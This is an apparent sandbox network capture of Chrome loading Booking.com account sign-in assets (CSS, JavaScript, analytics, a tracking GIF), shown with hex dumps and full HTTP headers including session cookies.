2024-11-02 13:00:07 UTC	16384	IN	Data Raw: 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 73 74 61 72 74 3a 34 31 2e 36 36 36 36 37 25 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 48 79 6a 39 36 35 75 31 6e 77 4f 63 30 55 59 4e 4b 37 72 54 2c 2e 50 38 6a 38 6d 50 67 38 4d 78 46 59 6d 42 55 6d 62 53 6d 50 7b 2d 77 65 62 6b 69 74 2d 6d 61 72 67 69 6e 2d 73 74 61 72 74 3a 35 30 25 21 69 6d 70 6f 72 74 61 6e 74 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 73 74 61 72 74 3a 35 30 25 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 41 63 59 37 42 74 48 5a 53 44 30 36 61 45 62 4d 76 4b 47 63 7b 2d 77 65 62 6b 69 74 2d 6d 61 72 67 69 6e 2d 73 74 61 72 74 3a 35 38 2e 33 33 33 33 33 25 21 69 6d 70 6f 72 74 61 6e 74 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 73 74 61 72 74 3a 35 38 2e 33 33 33 33 33 25 21 69 6d 70 6f 72 74 61 6e 74 Data Ascii: margin-inline-start:41.66667%!important}.Hyj965u1nwOc0UYNK7rT,.P8j8mPg8MxFYmBUmbSmP{-webkit-margin-start:50%!important;margin-inline-start:50%!important}.AcY7BtHZSD06aEbMvKGc{-webkit-margin-start:58.33333%!important;margin-inline-start:58.33333%!important
2024-11-02 13:00:07 UTC	16384	IN	Data Raw: 28 30 29 7d 2e 42 67 46 34 71 4c 4f 59 76 78 62 53 57 73 6b 38 46 67 6e 4f 7b 7a 2d 69 6e 64 65 78 3a 33 7d 2e 42 67 46 34 71 4c 4f 59 76 78 62 53 57 73 6b 38 46 67 6e 4f 3a 62 65 66 6f 72 65 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 61 63 74 69 6f 6e 5f 68 69 67 68 6c 69 67 68 74 65 64 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 28 2d 35 30 25 2c 2d 35 30 25 29 20 73 63 61 6c 65 28 31 2e 32 35 29 7d 2e 57 79 38 59 6a 79 58 79 6a 4d 54 48 39 4d 4a 47 63 66 35 5a 20 2e 42 67 46 34 71 4c 4f 59 76 78 62 53 57 73 6b 38 46 67 6e 4f 3a 62 65 66 6f 72 65 2c 5b 64 69 72 3d 72 74 6c 5d 20 2e 42 67 46 34 71 4c 4f 59 76 78 62 53 57 73 6b 38 46 67 6e 4f 3a 62 65 66 6f 72 65 7b 74 72 61 6e Data Ascii: (0)}.BgF4qLOYvxbSWsk8FgnO{z-index:3}.BgF4qLOYvxbSWsk8FgnO:before{background-color:var(--bui_color_action_highlighted);transform:translate(-50%,-50%) scale(1.25)}.Wy8YjyXyjMTH9MJGcf5Z .BgF4qLOYvxbSWsk8FgnO:before,[dir=rtl] .BgF4qLOYvxbSWsk8FgnO:before{tran
2024-11-02 13:00:07 UTC	13754	IN	Data Raw: 73 67 50 42 54 57 57 65 62 76 38 41 69 48 7a 53 49 6e 7b 68 65 69 67 68 74 3a 31 30 30 25 3b 6c 69 73 74 2d 73 74 79 6c 65 2d 74 79 70 65 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 2e 67 67 33 68 67 66 5a 39 63 34 36 6d 61 61 79 68 74 61 5f 4a 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 73 63 72 6f 6c 6c 2d 73 6e 61 70 2d 61 6c 69 67 6e 3a 73 74 61 72 74 3b 73 63 72 6f 6c 6c 2d 73 6e 61 70 2d 73 74 6f 70 3a 61 6c 77 61 79 73 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 74 6f 70 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 52 65 4f 61 74 7a 4d 5a 35 57 41 43 56 65 46 4e 73 35 57 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 63 6f 76 65 72 3b 68 65 69 67 68 74 3a Data Ascii: sgPBTWWebv8AiHzSIn{height:100%;list-style-type:none;margin:0;padding:0}.gg3hgfZ9c46maayhta_J{display:inline-block;height:100%;scroll-snap-align:start;scroll-snap-stop:always;vertical-align:top;width:100%}.ReOatzMZ5WACVeFNs5Wt{background-size:cover;height:
2024-11-02 13:00:07 UTC	16384	IN	Data Raw: 50 69 31 48 39 55 65 6f 59 79 41 32 4a 38 43 42 72 65 3a 68 6f 76 65 72 2b 2e 58 72 4a 68 70 42 42 6e 37 70 65 4a 72 4b 34 38 5f 55 6a 44 2b 2e 74 54 50 69 31 48 39 55 65 6f 59 79 41 32 4a 38 43 42 72 65 3a 62 65 66 6f 72 65 2c 2e 74 54 50 69 31 48 39 55 65 6f 59 79 41 32 4a 38 43 42 72 65 3a 68 6f 76 65 72 3a 62 65 66 6f 72 65 7b 6f 70 61 63 69 74 79 3a 30 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 6e 6f 6e 65 7d 2e 74 54 50 69 31 48 39 55 65 6f 59 79 41 32 4a 38 43 42 72 65 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 76 61 72 28 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 68 69 67 68 6c 69 67 68 74 65 64 5f 61 6c 74 29 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 62 61 63 6b 67 72 6f 75 6e 64 5f 61 6c 74 29 7d 2e Data Ascii: Pi1H9UeoYyA2J8CBre:hover+.XrJhpBBn7peJrK48_UjD+.tTPi1H9UeoYyA2J8CBre:before,.tTPi1H9UeoYyA2J8CBre:hover:before{opacity:0;transition:none}.tTPi1H9UeoYyA2J8CBre:hover{background:var(--bui_color_highlighted_alt);border-color:var(--bui_color_background_alt)}.
2024-11-02 13:00:07 UTC	16384	IN	Data Raw: 2d 62 75 69 5f 73 68 65 65 74 5f 63 6f 6e 74 61 69 6e 65 72 5f 69 6e 6e 65 72 5f 68 65 69 67 68 74 3a 69 6e 69 74 69 61 6c 3b 2d 2d 62 75 69 5f 73 68 65 65 74 5f 63 6f 6e 74 61 69 6e 65 72 5f 69 6e 6e 65 72 5f 77 69 64 74 68 3a 69 6e 69 74 69 61 6c 3b 2d 2d 62 75 69 5f 73 68 65 65 74 5f 63 6f 6e 74 61 69 6e 65 72 5f 69 6e 6e 65 72 5f 6d 61 78 2d 68 65 69 67 68 74 3a 69 6e 69 74 69 61 6c 3b 2d 2d 62 75 69 5f 73 68 65 65 74 5f 63 6f 6e 74 61 69 6e 65 72 5f 69 6e 6e 65 72 5f 62 6f 72 64 65 72 2d 72 61 64 69 75 73 2d 73 74 61 72 74 2d 73 74 61 72 74 3a 69 6e 69 74 69 61 6c 3b 2d 2d 62 75 69 5f 73 68 65 65 74 5f 63 6f 6e 74 61 69 6e 65 72 5f 69 6e 6e 65 72 5f 62 6f 72 64 65 72 2d 72 61 64 69 75 73 2d 73 74 61 72 74 2d 73 74 61 72 74 5f 72 74 6c 3a 69 6e 69 74 Data Ascii: -bui_sheet_container_inner_height:initial;--bui_sheet_container_inner_width:initial;--bui_sheet_container_inner_max-height:initial;--bui_sheet_container_inner_border-radius-start-start:initial;--bui_sheet_container_inner_border-radius-start-start_rtl:init

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49712	18.245.31.18	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:06 UTC	584	OUT	GET /psb/accountsportal/assets/57_cdf5aee7e46d7f904246.css HTTP/1.1 Host: cf.bstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-02 13:00:07 UTC	712	IN	HTTP/1.1 200 OK Content-Type: text/css Content-Length: 21577 Connection: close Date: Sat, 02 Nov 2024 09:39:34 GMT Last-Modified: Fri, 01 Nov 2024 17:50:36 GMT ETag: "85e2c965b2491ec9791f34e7c48612e1" x-amz-server-side-encryption: AES256 x-amz-meta-x-deployment-hash: 7d8cfdce18ac09aabe745ecb8a6a83aec70de52d4394c38a23de96c8134d944c x-amz-version-id: eqWf25UCvUyiiDu.y0ah3CwGPznRz3gJ Accept-Ranges: bytes Server: AmazonS3 X-Cache: Hit from cloudfront Via: 1.1 b81e506afc0d8b7cd6094e636331ca78.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P8 Alt-Svc: h3=":443"; ma=86400 X-Amz-Cf-Id: vpzT9INUHDDeYZ5dF1ThRE2WhezejcVQlTNxi5eVNMrPYCb-ud23qw== Age: 12033 Timing-Allow-Origin: * Vary: Origin
2024-11-02 13:00:07 UTC	15672	IN	Data Raw: 3a 72 6f 6f 74 7b 2d 2d 62 75 69 5f 65 61 73 69 6e 67 2d 73 6c 6f 77 2d 69 6e 3a 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2c 30 2c 30 2e 32 2c 31 29 3b 2d 2d 62 75 69 5f 65 61 73 69 6e 67 2d 73 6c 6f 77 2d 6f 75 74 3a 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 34 2c 30 2c 31 2c 31 29 3b 2d 2d 62 75 69 5f 65 61 73 69 6e 67 2d 73 6c 6f 77 2d 69 6e 2d 6f 75 74 3a 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 34 2c 30 2c 30 2e 32 2c 31 29 3b 2d 2d 62 75 69 5f 65 61 73 69 6e 67 2d 73 75 62 74 6c 65 2d 69 6e 3a 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2c 30 2c 30 2e 32 2c 31 29 3b 2d 2d 62 75 69 5f 65 61 73 69 6e 67 2d 73 75 62 74 6c 65 2d 6f 75 74 3a 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 34 2c 30 2c 31 2c 31 29 3b 2d 2d 62 75 69 5f 65 61 73 69 6e 67 Data Ascii: :root{--bui_easing-slow-in:cubic-bezier(0,0,0.2,1);--bui_easing-slow-out:cubic-bezier(0.4,0,1,1);--bui_easing-slow-in-out:cubic-bezier(0.4,0,0.2,1);--bui_easing-subtle-in:cubic-bezier(0,0,0.2,1);--bui_easing-subtle-out:cubic-bezier(0.4,0,1,1);--bui_easing
2024-11-02 13:00:07 UTC	5905	IN	Data Raw: 6d 65 64 69 61 20 28 6d 61 78 2d 77 69 64 74 68 3a 34 32 30 70 78 29 7b 2e 62 75 69 2d 69 6e 70 75 74 2d 74 65 78 74 5f 5f 63 6f 6e 74 72 6f 6c 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 2e 72 74 6c 20 2e 61 63 63 65 73 73 2d 70 61 6e 65 6c 5f 5f 68 65 61 64 65 72 2d 62 74 6e 2d 2d 6d 65 6e 75 7b 6c 65 66 74 3a 2d 31 36 70 78 3b 72 69 67 68 74 3a 61 75 74 6f 7d 2e 72 74 6c 20 2e 61 63 63 65 73 73 2d 70 61 6e 65 6c 5f 5f 68 65 61 64 65 72 2d 62 74 6e 2d 2d 62 61 63 6b 7b 6c 65 66 74 3a 61 75 74 6f 3b 72 69 67 68 74 3a 2d 31 36 70 78 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 2d 31 38 30 64 65 67 29 20 74 72 61 6e 73 6c 61 74 65 58 28 31 30 70 78 29 7d 2e 72 74 6c 20 2e 73 68 6f 77 2d 62 61 63 6b 2d 62 74 6e Data Ascii: media (max-width:420px){.bui-input-text__control{font-size:16px!important}}.rtl .access-panel__header-btn--menu{left:-16px;right:auto}.rtl .access-panel__header-btn--back{left:auto;right:-16px;transform:rotate(-180deg) translateX(10px)}.rtl .show-back-btn

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49716	99.86.4.72	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:07 UTC	1467	OUT	GET /_/fvtrpw.gif HTTP/1.1 Host: account.booking.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://account.booking.com/sign-in?op_token=EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiNjA5OWJhNDYtYTgzOC00MjcwLTkzZDItNmRiZTU1OTBhY2RiIn0yK2VjT2JXVUQwcnFzME1CN080WmhOMTJJMVFlVFFKTlBZaU4zVnpCLWtKWWc6BFMyNTZCBGNvZGUqEzDd_v3CzqgnOgBCAFiircu5qTI Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: bkng_ap=U2FsdGVkX18wu%2BissjGDgpVJJXgVu%2FiDrd3e0Hk6QmiTkzgsoOBxE399LovQjxt8JWGwoT8D6mtm%0AO%2BpijFpcwg%3D%3D%0A; pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc
2024-11-02 13:00:07 UTC	2748	IN	HTTP/1.1 200 OK Content-Type: image/gif Transfer-Encoding: chunked Connection: close server: envoy date: Sat, 02 Nov 2024 13:00:07 GMT content-disposition: attachment; filename=etnht.gif set-cookie: bkng_sso_ses=e30; domain=.booking.com; path=/; expires=Thu, 01-Nov-2029 13:00:07 GMT; secure; HttpOnly set-cookie: bkng_ap=U2FsdGVkX1%2BPnicAhHdzp65UiOyANjf0xTonF7cgkMdJjUzVc0STBb%2Bx2Avxy0hdK%2FGq53sdWfNS%0ArfNIOZyzTQ%3D%3D%0A; domain=account.booking.com; path=/; secure; HttpOnly set-cookie: bkng_sso_session=e30; domain=.booking.com; path=/; expires=Thu, 01-Nov-2029 13:00:07 GMT; secure; HttpOnly set-cookie: bkng_ap_sso_session=eyJib29raW5nX2dsb2JhbCI6eyJzZXNzaW9ucyI6W10sImRhdGFfc3ViamVjdF9pZCI6ImFhNzkyODE2LWFlZGUtNDhiNy04OTcwLWI2NzU0NGFmMTQyMSJ9fQ; domain=account.booking.com; path=/; expires=Thu, 01-Nov-2029 13:00:07 GMT; SameSite=Lax; secure; HttpOnly content-security-policy: frame-ancestors https://.booking.com 'self'; report-uri https://nellie.booking.com/csp-report-uri?type=block&tag=212&pid=931c5b6b0ba00b5d&e=UmFuZG9tSVYkc2RlIyh9YSWKtKO5TxgOpTwVTPfHZKNW3Hcrm1RLgRvqAg3-UlCb1qLTaSWs19YP7SQPZqUJQEWvA04qnNatJXIMMNXiUc0 content-security-policy-report-only: base-uri 'none'; connect-src saa.booking.com secure.booking.com reports.booking.com privacyportal-eu.onetrust.com geolocation.onetrust.com cdn.cookielaw.org www.google-analytics.com .perimeterx.net .pxchk.net .px-cdn.net .px-client.net .px-cloud.net 'self' 'report-sample'; default-src .bstatic.com bstatic.com 'self'; frame-src https://www.youtube.com/embed/Vv4w5SmRkss .bstatic.com https://www.google.com bstatic.com www.booking.com secure.booking.com paymentcomponent.booking.com 'self'; img-src 'self' data: www.booking.com graph.facebook.com cdn.cookielaw.org account.booking.com .bstatic.com bstatic.com .static.booking.cn www.google-analytics.com www.google.com stats.g.doubleclick.net .px-cloud.net .perimeterx.net www.gstatic.com; object-src 'none'; report-uri https://nellie.booking.com/csp-report-uri?type=report&tag=213&pid=931c5b6b0ba00b5d&e=UmFuZG9tSVYkc2RlIyh9YSWKtKO5TxgOpTwVTPfHZKNW3Hcrm1RLgRvqAg3-UlCb1qLTaSWs19YP7SQPZqUJQEWvA04qnNatJXIMMNXiUc0; script-src s [TRUNCATED] x-xss-protection: 1; mode=block strict-transport-security: max-age=63072000; includeSubDomains; preload X-Cache: Miss from cloudfront Via: 1.1 b8e900270aa30d899882e71796feca9c.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA6-C1 X-Amz-Cf-Id: C03laX8njfUwTfw_RaPw99FA8GFErrIABUELvNvAES9XbzD7WllxUg==
2024-11-02 13:00:07 UTC	41	IN	Data Raw: 32 33 0d 0a 47 49 46 38 39 61 01 00 01 00 90 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 04 01 00 3b 0d 0a Data Ascii: 23GIF89a,;
2024-11-02 13:00:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49715	18.245.31.18	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:07 UTC	580	OUT	GET /psb/accountsportal/assets/runtime~index_a9240719fc64a8f3ef82.js HTTP/1.1 Host: cf.bstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-02 13:00:07 UTC	720	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 4751 Connection: close Last-Modified: Thu, 31 Oct 2024 13:03:57 GMT x-amz-server-side-encryption: AES256 x-amz-meta-x-deployment-hash: 16eb193289b17f559ee84b82ab781d5c2bd1b1a089ca669dfbb65f31a8343fb2 x-amz-version-id: ueh1EFWb5P2oAqaKam9_oIf4HmDM7RQG Accept-Ranges: bytes Server: AmazonS3 Date: Sat, 02 Nov 2024 13:00:08 GMT ETag: "c51b5d318485406b1443dfd5f55d26d1" X-Cache: RefreshHit from cloudfront Via: 1.1 193d38535c6cb246e365763e9c32e672.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P8 Alt-Svc: h3=":443"; ma=86400 X-Amz-Cf-Id: lrZDNl_GhxeAMRRtCutXQyPL1zsE4B0GFFdNqpv0tCU0TY0YLYjd9A== Timing-Allow-Origin: * Vary: Origin
2024-11-02 13:00:07 UTC	4751	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 65 2c 74 2c 72 2c 6e 2c 6f 2c 69 3d 7b 7d 2c 75 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 61 28 65 29 7b 76 61 72 20 74 3d 75 5b 65 5d 3b 69 66 28 76 6f 69 64 20 30 21 3d 3d 74 29 72 65 74 75 72 6e 20 74 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 75 5b 65 5d 3d 7b 69 64 3a 65 2c 6c 6f 61 64 65 64 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 69 5b 65 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 61 29 2c 72 2e 6c 6f 61 64 65 64 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 61 2e 6d 3d 69 2c 65 3d 5b 5d 2c 61 2e 4f 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 72 2c 6e 2c 6f 29 7b 69 66 28 21 72 29 7b 76 61 72 20 69 3d 31 Data Ascii: !function(){"use strict";var e,t,r,n,o,i={},u={};function a(e){var t=u[e];if(void 0!==t)return t.exports;var r=u[e]={id:e,loaded:!1,exports:{}};return i[e].call(r.exports,r,r.exports,a),r.loaded=!0,r.exports}a.m=i,e=[],a.O=function(t,r,n,o){if(!r){var i=1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49719	18.239.69.6	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:07 UTC	1009	OUT	GET /analytics.js?ca=accountsportal HTTP/1.1 Host: saa.booking.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc
2024-11-02 13:00:07 UTC	550	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 341 Connection: close date: Sat, 02 Nov 2024 13:00:07 GMT cache-control: no-cache, no-store, must-revalidate pragma: no-cache server: Perl Dancer2 0.300004 expires: 0 x-xss-protection: 1; mode=block strict-transport-security: max-age=63072000; includeSubDomains; preload X-Cache: Miss from cloudfront Via: 1.1 2837e32f921e7e7517dd6f5461c37dfa.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS58-P4 X-Amz-Cf-Id: dVwY_fdE7nTJGsgp--uFLRfX-OPbj-ZVPz9t6LjxNVCoOmock--fBA==
2024-11-02 13:00:07 UTC	341	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 53 41 41 3d 77 69 6e 64 6f 77 2e 53 41 41 7c 7c 7b 7d 3b 77 69 6e 64 6f 77 2e 53 41 41 2e 6e 65 63 3d 22 6a 44 2b 43 59 68 71 5a 37 78 47 73 76 39 6e 4f 77 37 77 35 50 77 71 42 22 3b 77 69 6e 64 6f 77 2e 53 41 41 2e 64 3d 22 73 61 61 2e 62 6f 6f 6b 69 6e 67 2e 63 6f 6d 22 3b 76 61 72 20 62 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 68 65 61 64 22 29 5b 30 5d 2c 61 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 61 2e 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3b 61 2e 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 61 61 2e 62 6f 6f 6b 69 6e 67 2e 63 6f 6d 2f 61 73 73 65 74 2e Data Ascii: (function(){window.SAA=window.SAA\|\|{};window.SAA.nec="jD+CYhqZ7xGsv9nOw7w5PwqB";window.SAA.d="saa.booking.com";var b=document.getElementsByTagName("head")[0],a=document.createElement("script");a.type="text/javascript";a.src="https://saa.booking.com/asset.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49714	18.245.31.18	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:07 UTC	569	OUT	GET /psb/accountsportal/assets/54_97d049b4c4a1c2f7cfdb.js HTTP/1.1 Host: cf.bstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-02 13:00:07 UTC	715	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 32726 Connection: close Date: Sat, 02 Nov 2024 13:00:08 GMT Last-Modified: Fri, 01 Nov 2024 17:50:36 GMT ETag: "be56a3f6fa7bfd736b4e3ffa8e87feba" x-amz-server-side-encryption: AES256 x-amz-meta-x-deployment-hash: 7d8cfdce18ac09aabe745ecb8a6a83aec70de52d4394c38a23de96c8134d944c x-amz-version-id: AOPhOch0d3LfoSeJX0ropbSOf50HCLK4 Accept-Ranges: bytes Server: AmazonS3 X-Cache: Miss from cloudfront Via: 1.1 7b85fc567b776c0d31c5ac07cc6c2ae6.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P8 Alt-Svc: h3=":443"; ma=86400 X-Amz-Cf-Id: WmXvN_rclM5xmn2l1Z3rOMyFoQdqIywKqNr0tctNTyJKKp1RYfA9TQ== Timing-Allow-Origin: * Vary: Origin
2024-11-02 13:00:07 UTC	15669	IN	Data Raw: 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 62 6f 6f 6b 69 6e 67 73 5f 77 65 62 5f 61 63 63 6f 75 6e 74 73 5f 70 6f 72 74 61 6c 5f 77 6f 72 6b 73 70 61 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 62 6f 6f 6b 69 6e 67 73 5f 77 65 62 5f 61 63 63 6f 75 6e 74 73 5f 70 6f 72 74 61 6c 5f 77 6f 72 6b 73 70 61 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 35 34 5d 2c 7b 36 33 33 38 37 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 74 29 74 68 72 6f 77 20 54 79 70 65 45 72 72 6f 72 28 74 2b 22 20 69 73 20 6e 6f 74 20 61 20 66 75 6e 63 74 69 6f 6e 21 22 29 3b 72 65 74 75 72 6e 20 74 7d 7d 2c 38 38 31 38 34 3a 66 Data Ascii: (self.webpackChunkbookings_web_accounts_portal_workspaces=self.webpackChunkbookings_web_accounts_portal_workspaces\|\|[]).push([[54],{63387:function(t){t.exports=function(t){if("function"!=typeof t)throw TypeError(t+" is not a function!");return t}},88184:f
